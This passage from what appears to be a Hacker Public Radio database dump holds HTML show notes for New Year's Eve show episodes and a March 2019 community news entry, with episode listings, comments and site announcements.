href=\"https://www.tinkercad.com/\" class=\"uri\">https://www.tinkercad.com/</a></li>\r\n<li>cloud CAD <a href=\"https://www.autodesk.com/products/fusion-360/overview\" class=\"uri\">https://www.autodesk.com/products/fusion-360/overview</a></li>\r\n<li>cloud CAD <a href=\"https://www.onshape.com/\" class=\"uri\">https://www.onshape.com/</a></li>\r\n<li>cloud CAD <a href=\"https://www.thingiverse.com/\" class=\"uri\">https://www.thingiverse.com/</a></li>\r\n<li>&quot;the Facebook of 3D model sharing&quot; <a href=\"https://cults3d.com/\" class=\"uri\">https://cults3d.com/</a></li>\r\n<li>3D model sharing<br />\r\n<a href=\"https://www.cnx-software.com/2017/05/25/melon-s3-fpga-arduino-raspberry-pi-compatible-board-is-programmable-over-wifi-using-esp8266-wisoc/\" class=\"uri\">https://www.cnx-software.com/2017/05/25/melon-s3-fpga-arduino-raspberry-pi-compatible-board-is-programmable-over-wifi-using-esp8266-wisoc/</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://www.cnx-software.com/2015/11/24/fleafpga-uno-board-combines-a-lattice-fpga-arduino-uno-form-factor-hdmi-output-and-an-esp8266-wifi-module/\" class=\"uri\">https://www.cnx-software.com/2015/11/24/fleafpga-uno-board-combines-a-lattice-fpga-arduino-uno-form-factor-hdmi-output-and-an-esp8266-wifi-module/</a></p></li>\r\n<li><p>Amiga and <a href=\"https://www.morphos-team.net/\" class=\"uri\">https://www.morphos-team.net/</a><br />\r\nMorphOS is a proprietary implementation of AmigaOS for PowerPC, but uses free software components from e.g. AROS</p></li>\r\n<li><p><a href=\"https://c64upgra.de/c-one/\" class=\"uri\">https://c64upgra.de/c-one/</a><br />\r\nA C64 reimplementation project that turned into an FPGA platform that can even act as an Amiga</p></li>\r\n<li><p>Ken is awake and is going to solder</p></li>\r\n<li><p>Netminer mentions <a href=\"https://www.youtube.com/channel/UCu4uiUtALy1ILAxNh7TGsmQ\" class=\"uri\">https://www.youtube.com/channel/UCu4uiUtALy1ILAxNh7TGsmQ</a></p></li>\r\n<li><p><a href=\"https://www.youtube.com/watch?v=NHthWtKWXJE\" class=\"uri\">https://www.youtube.com/watch?v=NHthWtKWXJE</a></p></li>\r\n<li><p>The kit ken is making  <a href=\"https://www.bitscope.com/product/BS05/\" class=\"uri\">https://www.bitscope.com/product/BS05/</a></p></li>\r\n<li><p>Ken suggest a show on Bitscope + Raspberry Pi + aurduino tutorial series</p></li>\r\n<li><p>The PCB <a href=\"https://kenfallon.com/files/pcb.jpg\" class=\"uri\">https://kenfallon.com/files/pcb.jpg</a></p></li>\r\n<li><p><a href=\"https://www.ebay.com/p/40w-Co2-Laser-Engraving-Cutting-Machine-Engraver-Cutter-USB-Port/18011066781?iid=322496119440\" class=\"uri\">https://www.ebay.com/p/40w-Co2-Laser-Engraving-Cutting-Machine-Engraver-Cutter-USB-Port/18011066781?iid=322496119440</a></p></li>\r\n<li><p><a href=\"https://www.hobby-hour.com/electronics/resistorcalculator.php\" class=\"uri\">https://www.hobby-hour.com/electronics/resistorcalculator.php</a></p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR new year show 2017',0,0,1),
(2565,'2018-06-01','2017-2018 New Years Eve show part 7',10683,'Part seven of the sixth annual HPR New Year Show. This is the last one.','<h2 id=\"hpr-nye-2017---7\">HPR NYE 2017 - 7</h2>\r\n<ul>\r\n<li><p><a href=\"https://www.youtube.com/channel/UCuiDNTaTdPTGZZzHm0iriGQ\" class=\"uri\">https://www.youtube.com/channel/UCuiDNTaTdPTGZZzHm0iriGQ</a></p></li>\r\n<li><p><a href=\"https://www.imdb.com/title/tt0460681/\" class=\"uri\">https://www.imdb.com/title/tt0460681/</a></p></li>\r\n<li><p><a href=\"https://www.youtube.com/channel/UCggHoXaj8BQHIiPmOxezeWA\" class=\"uri\">https://www.youtube.com/channel/UCggHoXaj8BQHIiPmOxezeWA</a></p></li>\r\n<li><p>history buffs</p></li>\r\n<li><p><a href=\"https://www.indiegogo.com/projects/gpd-pocket-7-0-umpc-laptop-ubuntu-or-win-10-os-laptop--2#/\" class=\"uri\">https://www.indiegogo.com/projects/gpd-pocket-7-0-umpc-laptop-ubuntu-or-win-10-os-laptop--2#/</a></p></li>\r\n<li><p>Why are they killing off the 32 bit distros?</p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Year_2038_problem\" class=\"uri\">https://en.wikipedia.org/wiki/Year_2038_problem</a></p></li>\r\n<li><p><a href=\"https://archive.org/details/hpr1037\" class=\"uri\">https://archive.org/details/hpr1037</a></p></li>\r\n<li><p>Ken Fallon the fastest solderer in the West. Able to solder a component tester in a single show...</p></li>\r\n</ul>',159,121,1,'CC-BY-SA','HPR new year show 2017',0,0,1),
(2781,'2019-04-01','HPR Community News for March 2019',3564,'HPR Volunteers talk about shows released and comments posted in March 2019','\r\n<h2>Spoiler</h2>\r\n<p>Dave has not left and HPR has not sold out</p>\r\n<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <br />\r\n\r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=373\" target=\"_blank\">Floyd C Poynter</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a>.\r\n</p>\r\n\r\n<h2>Last Month\'s Shows</h2>\r\n<table id=\"t01\" summary=\"Last month\'s shows\">\r\n    <tr>\r\n    <th>Id</th>\r\n    <th>Day</th>\r\n    <th>Date</th>\r\n    <th>Title</th>\r\n    <th>Host</th>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2760\" target=\"_blank\">2760</a></strong></td>\r\n    <td>Fri</td>\r\n    <td>2019-03-01</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2760\" target=\"_blank\">What is VNF</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2761\" target=\"_blank\">2761</a></strong></td>\r\n    <td>Mon</td>\r\n    <td>2019-03-04</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2761\" target=\"_blank\">HPR Community News for February 2019</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2762\" target=\"_blank\">2762</a></strong></td>\r\n    <td>Tue</td>\r\n    <td>2019-03-05</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2762\" target=\"_blank\">What You Really Are</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2763\" target=\"_blank\">2763</a></strong></td>\r\n    <td>Wed</td>\r\n    <td>2019-03-06</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2763\" target=\"_blank\">Deepgeek explains SPF records</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2764\" target=\"_blank\">2764</a></strong></td>\r\n    <td>Thu</td>\r\n    <td>2019-03-07</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2764\" target=\"_blank\">Personal password algorithms</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2765\" target=\"_blank\">2765</a></strong></td>\r\n    <td>Fri</td>\r\n    <td>2019-03-08</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2765\" target=\"_blank\">My YouTube Subscriptions #3</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2766\" target=\"_blank\">2766</a></strong></td>\r\n    <td>Mon</td>\r\n    <td>2019-03-11</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2766\" target=\"_blank\">Disk enumeration on Linux</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2767\" target=\"_blank\">2767</a></strong></td>\r\n    <td>Tue</td>\r\n    <td>2019-03-12</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2767\" target=\"_blank\">Djvu and other paperless document formats</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2768\" target=\"_blank\">2768</a></strong></td>\r\n    <td>Wed</td>\r\n    <td>2019-03-13</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2768\" target=\"_blank\">Writing Web Game in Haskell - Planetary statuses</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2769\" target=\"_blank\">2769</a></strong></td>\r\n    <td>Thu</td>\r\n    <td>2019-03-14</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2769\" target=\"_blank\">Quick Review of the AstroAI WH5000A Multimeter</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2770\" target=\"_blank\">2770</a></strong></td>\r\n    <td>Fri</td>\r\n    <td>2019-03-15</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2770\" target=\"_blank\">Navigating the maze of RPG books</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2771\" target=\"_blank\">2771</a></strong></td>\r\n    <td>Mon</td>\r\n    <td>2019-03-18</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2771\" target=\"_blank\">Embedding hidden text in Djvu files</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2772\" target=\"_blank\">2772</a></strong></td>\r\n    <td>Tue</td>\r\n    <td>2019-03-19</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2772\" target=\"_blank\">My applications and software part 3</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2773\" target=\"_blank\">2773</a></strong></td>\r\n    <td>Wed</td>\r\n    <td>2019-03-20</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2773\" target=\"_blank\">Lead/Acid Battery Maintenance and Calcium Charge Voltage</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=373\" target=\"_blank\">Floyd C Poynter</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2774\" target=\"_blank\">2774</a></strong></td>\r\n    <td>Thu</td>\r\n    <td>2019-03-21</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2774\" target=\"_blank\">CJDNS and Yggdrasil</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2775\" target=\"_blank\">2775</a></strong></td>\r\n    <td>Fri</td>\r\n    <td>2019-03-22</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2775\" target=\"_blank\">My YouTube Subscriptions #4</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2776\" target=\"_blank\">2776</a></strong></td>\r\n    <td>Mon</td>\r\n    <td>2019-03-25</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2776\" target=\"_blank\">Sub-Plots In Storytelling</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2777\" target=\"_blank\">2777</a></strong></td>\r\n    <td>Tue</td>\r\n    <td>2019-03-26</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2777\" target=\"_blank\">The quest for the perfect laptop.</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2778\" target=\"_blank\">2778</a></strong></td>\r\n    <td>Wed</td>\r\n    <td>2019-03-27</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2778\" target=\"_blank\">Functor and applicative in Haskell</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2779\" target=\"_blank\">2779</a></strong></td>\r\n    <td>Thu</td>\r\n    <td>2019-03-28</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2779\" target=\"_blank\">HTTP, IPFS, and torrents</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2780\" target=\"_blank\">2780</a></strong></td>\r\n    <td>Fri</td>\r\n    <td>2019-03-29</td>\r\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2780\" target=\"_blank\">My SBC Nextcloud Install Pt. 1 - Hardware</a></td>\r\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a></td>\r\n    </tr>\r\n</table>\r\n\r\n<h2>Comments this month</h2>\r\n\r\n<p>These are comments which have been made during the past month, either to shows\r\nreleased during the month or to past shows.<br/>\r\nThere are 24 comments in total.</p>\r\n<p>There are 3 comments on\r\n3 previous shows:</p>\r\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2708#comments\" target=\"_blank\">hpr2708</a></strong>\r\n(2018-12-19) \"<em>Ghostscript</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2708#2\" target=\"_blank\">Comment 2</a>:\r\nKlaatu on 2019-03-07:\r\n\"You\'re welcome\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2749#comments\" target=\"_blank\">hpr2749</a></strong>\r\n(2019-02-14) \"<em>Lostnbronx and Klaatu commentary from episode 2743</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2749#1\" target=\"_blank\">Comment 1</a>:\r\nKlaatu on 2019-03-07:\r\n\"We are stupid\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2759#comments\" target=\"_blank\">hpr2759</a></strong>\r\n(2019-02-28) \"<em>Cleaning the Potentiometers on a Peavey Bandit 65</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2759#2\" target=\"_blank\">Comment 2</a>:\r\nJon Kulp on 2019-03-02:\r\n\"Never too much about 80s gear\"</li></ul><br/>\r\n</li></ul>\r\n<p>There are 21 comments on 12 of this month\'s shows:</p>\r\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2761#comments\" target=\"_blank\">hpr2761</a></strong>\r\n(2019-03-04) \"<em>HPR Community News for February 2019</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2761#1\" target=\"_blank\">Comment 1</a>:\r\nMike Ray on 2019-03-04:\r\n\"Media embedded show notes\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2762#comments\" target=\"_blank\">hpr2762</a></strong>\r\n(2019-03-05) \"<em>What You Really Are</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2762#1\" target=\"_blank\">Comment 1</a>:\r\ntuturto on 2019-03-05:\r\n\"oh, wow\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2763#comments\" target=\"_blank\">hpr2763</a></strong>\r\n(2019-03-06) \"<em>Deepgeek explains SPF records</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2763#1\" target=\"_blank\">Comment 1</a>:\r\nb-yeezi on 2019-03-09:\r\n\"Thanks for the help\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2763#2\" target=\"_blank\">Comment 2</a>:\r\npauleb on 2019-03-11:\r\n\"Great explanation!\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2764#comments\" target=\"_blank\">hpr2764</a></strong>\r\n(2019-03-07) \"<em>Personal password algorithms</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2764#1\" target=\"_blank\">Comment 1</a>:\r\nSteve on 2019-03-12:\r\n\"LessPass\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2766#comments\" target=\"_blank\">hpr2766</a></strong>\r\n(2019-03-11) \"<em>Disk enumeration on Linux</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2766#1\" target=\"_blank\">Comment 1</a>:\r\nJoel D on 2019-03-12:\r\n\"The Letters C and F\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2766#2\" target=\"_blank\">Comment 2</a>:\r\nKlaatu on 2019-03-13:\r\n\"Thanks for the info Joel\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2766#3\" target=\"_blank\">Comment 3</a>:\r\nAhuka on 2019-03-14:\r\n\"Old drive letters\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2768#comments\" target=\"_blank\">hpr2768</a></strong>\r\n(2019-03-13) \"<em>Writing Web Game in Haskell - Planetary statuses</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2768#1\" target=\"_blank\">Comment 1</a>:\r\nKlaatu on 2019-03-15:\r\n\"Agog and aghast\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2768#2\" target=\"_blank\">Comment 2</a>:\r\ntuturto on 2019-03-15:\r\n\"this made my week\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2773#comments\" target=\"_blank\">hpr2773</a></strong>\r\n(2019-03-20) \"<em>Lead/Acid Battery Maintenance and Calcium Charge Voltage</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=373\" target=\"_blank\">Floyd C Poynter</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2773#1\" target=\"_blank\">Comment 1</a>:\r\ntuturto on 2019-03-20:\r\n\"Good to know\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2773#2\" target=\"_blank\">Comment 2</a>:\r\nNybill on 2019-03-20:\r\n\"Good Info\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2774#comments\" target=\"_blank\">hpr2774</a></strong>\r\n(2019-03-21) \"<em>CJDNS and Yggdrasil</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2774#1\" target=\"_blank\">Comment 1</a>:\r\ntuturto on 2019-03-21:\r\n\"fascinating\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2774#2\" target=\"_blank\">Comment 2</a>:\r\nBrian-in-Ohio on 2019-03-21:\r\n\"more shows\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2774#3\" target=\"_blank\">Comment 3</a>:\r\nnorrist on 2019-03-21:\r\n\"gentoo\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2774#4\" target=\"_blank\">Comment 4</a>:\r\nGavtres on 2019-03-25:\r\n\"IPv6 end to end encryption\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2776#comments\" target=\"_blank\">hpr2776</a></strong>\r\n(2019-03-25) \"<em>Sub-Plots In Storytelling</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2776#1\" target=\"_blank\">Comment 1</a>:\r\noperat0r on 2019-03-25:\r\n\"fun stuff\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2777#comments\" target=\"_blank\">hpr2777</a></strong>\r\n(2019-03-26) \"<em>The quest for the perfect laptop.</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2777#1\" target=\"_blank\">Comment 1</a>:\r\nBeeza on 2019-03-29:\r\n\"Computer Requirements Specification\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2778#comments\" target=\"_blank\">hpr2778</a></strong>\r\n(2019-03-27) \"<em>Functor and applicative in Haskell</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2778#1\" target=\"_blank\">Comment 1</a>:\r\nBeeza on 2019-03-28:\r\n\"Intuitiveness Of Haskell\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2778#2\" target=\"_blank\">Comment 2</a>:\r\ntuturto on 2019-03-29:\r\n\"thanks and great idea\"</li></ul><br/>\r\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2779#comments\" target=\"_blank\">hpr2779</a></strong>\r\n(2019-03-28) \"<em>HTTP, IPFS, and torrents</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a>.</li>\r\n<li style=\"list-style: none; display: inline\">\r\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2779#1\" target=\"_blank\">Comment 1</a>:\r\nHipstre on 2019-03-31:\r\n\"Enjoyed it, sounded great\"</li></ul><br/>\r\n</li></ul>\r\n\r\n<h2>Mailing List discussions</h2>\r\n<p>\r\nPolicy decisions surrounding HPR are taken by the community as a whole. This\r\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\r\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\r\ncontributors. The discussions are open and available on the HPR server under\r\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\r\n</p>\r\n<p>The threaded discussions this month can be found here:</p>\r\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-March/thread.html</a>\r\n\r\n\r\n<h2>Any other business</h2>\r\n<h3 id=\"mintcast\">Mint Cast</h3>\r\n<p>\r\nDid we mention the <a href=\"https://mintcast.org/\">The Mint Cast</a> ?\r\n</p>\r\n<h3 id=\"sorry-yannick\">Sorry Yannick!</h3>\r\n<p>There was a misunderstanding about Yannick’s show 2740 when it was discussed on the February Community News. The show was about <code>Pop_OS!</code>, a subject Yannick had also spoken about previously on an edition of the <em>TuxJam</em> podcast.</p>\r\n<p>The misunderstanding was that we thought this might have gone against guidelines on <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#syndication\">syndication</a>, where in fact it did not. It was merely a case of the same subject being spoken about by the same person on two different podcasts.</p>\r\n<h3 id=\"change-to-the-host-page\">Change to the host page</h3>\r\n<p>The page for each host:</p>\r\n<pre><code>https://hackerpublicradio.org/correspondents.php?hostid=NNN</code></pre>\r\n<p>which used to contain a list of all shows contributed by that host, with the show notes, has been made more compact. It now displays only the title, release date, duration, series (if applicable), tags and the show summary. Clicking on the title takes you to the show itself.</p>\r\n<p>The list of all hosts in alphabetic order can be seen at <a href=\"https://hackerpublicradio.org/correspondents.php\" class=\"uri\">https://hackerpublicradio.org/correspondents.php</a> (navigate with the top menu bar: <em>Home</em>→<em>About</em>→<em>Hosts</em>). From there clicking on the host number takes you to the page for that host. There’s also a link to the host page from the page for each show.</p>\r\n<h3 id=\"community-news-calendar\">Community News Calendar</h3>\r\n<p>An iCal calendar has been prepared which holds the next 12 recording dates for the Community News. This calendar can be downloaded and opened by suitable clients such as the Thunderbird mail client or Google Calendar. The file is linked from <a href=\"https://hackerpublicradio.org/about.php\" class=\"uri\">https://hackerpublicradio.org/about.php</a> and may be downloaded from <a href=\"https://www.hackerpublicradio.org/HPR_Community_News_schedule.ics\" class=\"uri\">https://www.hackerpublicradio.org/HPR_Community_News_schedule.ics</a>.</p>\r\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\r\n<p>Thanks to the following contributors for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">windigo</a></b></p>\r\n<p>Over the period tags and/or summaries have been added to 32 shows which were without them.</p>\r\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>',159,83,1,'CC-BY-SA','Community News',0,0,1),
